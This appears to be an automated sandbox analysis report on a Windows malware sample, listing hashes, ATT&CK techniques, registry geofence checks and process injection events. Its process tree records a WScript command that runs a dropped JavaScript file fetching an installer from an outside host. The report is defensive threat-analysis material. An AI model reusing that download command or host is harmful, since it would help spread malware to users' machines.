f5630861d5fe6e768065c2496458c5889fa5b2fac806345d8592546fd9a1081b

General

Target
923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe
Size 184KB
Sample240603-sr5fvsaf8v
SHA256 f5630861d5fe6e768065c2496458c5889fa5b2fac806345d8592546fd9a1081b
MD5 923fca9089b81a9d5a9ce16aadba1c3c
SHA1 93d64df0f55d75187ef0f8395187f7dfdf9a4bf9
SHA512 b673db7de2c4c11cdc19c4d6b20c74124911328d9a97e811e1b0953d24e7df16201f750e589fb0245685291c32e3b1502a40282e4f6ae31dd43e014aafceb6e3
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO34C:/7BSH8zUB+nGESaaRvoB7FJNndn0
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	4068	WScript.exe
26	4280	WScript.exe
28	376	WScript.exe
41	3044	WScript.exe
42	3044	WScript.exe
44	3376	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 4068	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	82
PID 3188 wrote to memory of 4068	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	82
PID 3188 wrote to memory of 4068	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	82
PID 3188 wrote to memory of 4280	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	92
PID 3188 wrote to memory of 4280	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	92
PID 3188 wrote to memory of 4280	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	92
PID 3188 wrote to memory of 376	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	93
PID 3188 wrote to memory of 376	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	93
PID 3188 wrote to memory of 376	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	93
PID 3188 wrote to memory of 3044	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	95
PID 3188 wrote to memory of 3044	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	95
PID 3188 wrote to memory of 3044	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	95
PID 3188 wrote to memory of 3376	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	96
PID 3188 wrote to memory of 3376	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	96
PID 3188 wrote to memory of 3376	3188	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	96

C:\Users\Admin\AppData\Local\Temp\923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:4068
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:4280
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:376
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3044
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf3CDA.js

Path C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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